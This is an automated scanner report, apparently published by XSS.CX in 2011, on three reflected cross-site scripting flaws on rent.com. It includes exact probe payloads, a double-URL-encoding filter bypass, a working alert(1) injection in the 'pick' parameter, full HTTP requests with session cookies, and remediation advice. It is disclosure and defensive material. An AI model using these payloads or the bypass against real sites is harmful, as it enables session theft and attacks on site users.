XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, rent.com

Report generated byXSS.CX at Fri Oct 14 13:14:55 CDT 2011.

1.1. http://www.rent.com/dart-ads/moving_resources_home.html [REST URL parameter 1]

1.2. http://www.rent.com/dart-ads/moving_resources_home.html [REST URL parameter 1]

1.3. http://www.rent.com/dart-ads/search-spine.html [pick parameter]

1. Cross-site scripting (reflected)
There are 3 instances of this issue:

/dart-ads/moving_resources_home.html [REST URL parameter 1]
/dart-ads/moving_resources_home.html [REST URL parameter 1]
/dart-ads/search-spine.html [pick parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.rent.com/dart-ads/moving_resources_home.html [REST URL parameter 1] next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rent.com
Path:	/dart-ads/moving_resources_home.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 977e7%2522%253e%253ca%2520b%253dc%253eab3126130cf was submitted in the REST URL parameter 1. This input was echoed as 977e7"><a b=c>ab3126130cf in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /dart-ads977e7%2522%253e%253ca%2520b%253dc%253eab3126130cf/moving_resources_home.html HTTP/1.1
Host: www.rent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.rent.com/moving-center/?linkname=moving_top_nav_tab
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: browser=1.245941318615843521; s_cc=true; s_sq=rentcom%3D%2526pid%253Dhome%252520page%2526pidt%253D1%2526oid%253Dhttp%25253A//www.rent.com/moving-center/%25253Flinkname%25253Dmoving_top_nav_tab%2526ot%253DA; session=ee893587579c9dfb701d73dbd175015e/1318615909/5b86655a3532c8b1f3bbce7e6b01cbc8; CC=133432337; RD=0

Response

HTTP/1.1 404 Not Found
Date: Fri, 14 Oct 2011 18:11:58 GMT
Server: Apache
Set-Cookie: session=ee893587579c9dfb701d73dbd175015e/1318615918/0efb1374fbcfaa419862676723fe3e5a; domain=.rent.com; path=/
Set-Cookie: CC=133432337; path=/; expires=Wed, 12-Oct-2016 18:11:58 GMT
Set-Cookie: RD=; path=/; expires=Fri, 14-Oct-2011 18:12:28 GMT
Cache-Control: must-revalidate
Expires: Fri, 14 Oct 2011 18:11:59 GMT
Last-Modified: Fri, 14 Oct 2011 18:11:58 GMT
P3P: CP='ALL DSP COR CUR ADMa DEVa TAIa PSAa PSDa CONo OUR IND PHY ONL UNI COM NAV INT STA'
Content-Type: text/html; charset=utf-8
X-Cache: MISS from www.rent.com
Content-Length: 21566

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Error 404:
...[SNIP]...
<a id="topbar_signin_link_id" class="topbar_signin_link" href="/account/login/" linkname="GlobalHeader_SignIn_Link" rel="/dart-ads977e7"><a b=c>ab3126130cf/moving_resources_home.html">
...[SNIP]...

1.2. http://www.rent.com/dart-ads/moving_resources_home.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rent.com
Path:	/dart-ads/moving_resources_home.html

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ad0db'%3b918dae46df3 was submitted in the REST URL parameter 1. This input was echoed as ad0db';918dae46df3 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dart-adsad0db'%3b918dae46df3/moving_resources_home.html HTTP/1.1
Host: www.rent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.rent.com/moving-center/?linkname=moving_top_nav_tab
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: browser=1.245941318615843521; s_cc=true; s_sq=rentcom%3D%2526pid%253Dhome%252520page%2526pidt%253D1%2526oid%253Dhttp%25253A//www.rent.com/moving-center/%25253Flinkname%25253Dmoving_top_nav_tab%2526ot%253DA; session=ee893587579c9dfb701d73dbd175015e/1318615909/5b86655a3532c8b1f3bbce7e6b01cbc8; CC=133432337; RD=0

Response

HTTP/1.1 404 Not Found
Date: Fri, 14 Oct 2011 18:12:02 GMT
Server: Apache
Set-Cookie: session=ee893587579c9dfb701d73dbd175015e/1318615922/fbfb6f64062349d8b005a6fc41d9496a; domain=.rent.com; path=/
Set-Cookie: CC=133432337; path=/; expires=Wed, 12-Oct-2016 18:12:02 GMT
Set-Cookie: RD=0; path=/; expires=Fri, 14-Oct-2011 18:12:32 GMT
Cache-Control: must-revalidate
Expires: Fri, 14 Oct 2011 18:12:03 GMT
Last-Modified: Fri, 14 Oct 2011 18:12:02 GMT
P3P: CP='ALL DSP COR CUR ADMa DEVa TAIa PSAa PSDa CONo OUR IND PHY ONL UNI COM NAV INT STA'
Content-Type: text/html; charset=utf-8
X-Cache: MISS from www.rent.com
Content-Length: 21528

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Error 404:
...[SNIP]...
<script type="text/javascript">
$().ready(function() {
next_url = '/dart-adsad0db';918dae46df3/moving_resources_home.html';
ajax_img = 'http://media.rent.com/img/global/ajax-loader-blue.gif';
signin_box_state = 'closed';

var signin_height = 110;
var formcookie = Get_Cookie('loginform');

if (f
...[SNIP]...

1.3. http://www.rent.com/dart-ads/search-spine.html [pick parameter] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rent.com
Path:	/dart-ads/search-spine.html

Issue detail

The value of the pick request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e3b24'%3balert(1)//919bd772a37 was submitted in the pick parameter. This input was echoed as e3b24';alert(1)//919bd772a37 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /dart-ads/search-spine.html?pick=controle3b24'%3balert(1)//919bd772a37 HTTP/1.1
Host: www.rent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.rent.com/search/results/?state_nb=17&freeform_submarket_nm=boston&minimumrent_at=100&maximumrent_at=99999999&bedroom_nb=&bathroom_nb=&dogscats=0|0&landmark_id=&mode=search&searchtype=city&pte=PERSON.REGISTRATION
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: browser=1.245941318615843521; s_cc=true; s_sq=rentcom%3D%2526pid%253Dhome%252520page%2526pidt%253D1%2526oid%253Dhttp%25253A//media.rent.com/img/home/btn_view_latest_listings_green.gif%2526ot%253DIMAGE; login=d214de704c43c455; session=ee893587579c9dfb701d73dbd175015e/1318615957/883ee52d5bf4159ababf865800698f66; CC=133432337; RD=0; search_path=%2Fsearch%2Fresults%2F%3F%26state_nb%3D17%26freeform_submarket_nm%3Dboston%26minimumrent_at%3D100%26maximumrent_at%3D99999999%26bedroom_nb%3D%26bathroom_nb%3D%26dogscats%3D0%7C0%26landmark_id%3D%26mode%3Dsearch%26searchtype%3Dcity%26pte%3DPERSON.REGISTRATION%26fl%3D432639%2C446003; mbox=check#true#1318616039|session#1318615978349-635138#1318617839; loginform=full; session_start_time=1318615983582; k_visit=1

Response

HTTP/1.1 200 OK
Date: Fri, 14 Oct 2011 18:12:54 GMT
Server: Apache
Set-Cookie: session=ee893587579c9dfb701d73dbd175015e/1318615974/62f85e962e00c7be5ebdf086b358a8c1; domain=.rent.com; path=/
Set-Cookie: CC=133432337; path=/; expires=Wed, 12-Oct-2016 18:12:54 GMT
Set-Cookie: RD=; path=/; expires=Fri, 14-Oct-2011 18:13:24 GMT
Cache-Control: must-revalidate
Expires: Fri, 14 Oct 2011 18:12:55 GMT
P3P: CP='ALL DSP COR CUR ADMa DEVa TAIa PSAa PSDa CONo OUR IND PHY ONL UNI COM NAV INT STA'
Content-Type: text/html; charset=utf-8
X-Cache: MISS from www.rent.com
Content-Length: 6745

<link href="http://media.rent.com/css/dart.css" rel="stylesheet" type="text/css" />
<body>
<div id="movingTools">
<img src="http://media.rent.com/img/moving-center/move_tools_title.gif" width="160"
...[SNIP]...
<a href="http://ad.doubleclick.net/jump/RDC.search/moving_tools;mod=1;tile=1;pick=controle3b24';alert(1)//919bd772a37;sz=160x62;ord=' + ord + '?" target="_blank">
...[SNIP]...

Report generated byXSS.CX at Fri Oct 14 13:14:55 CDT 2011.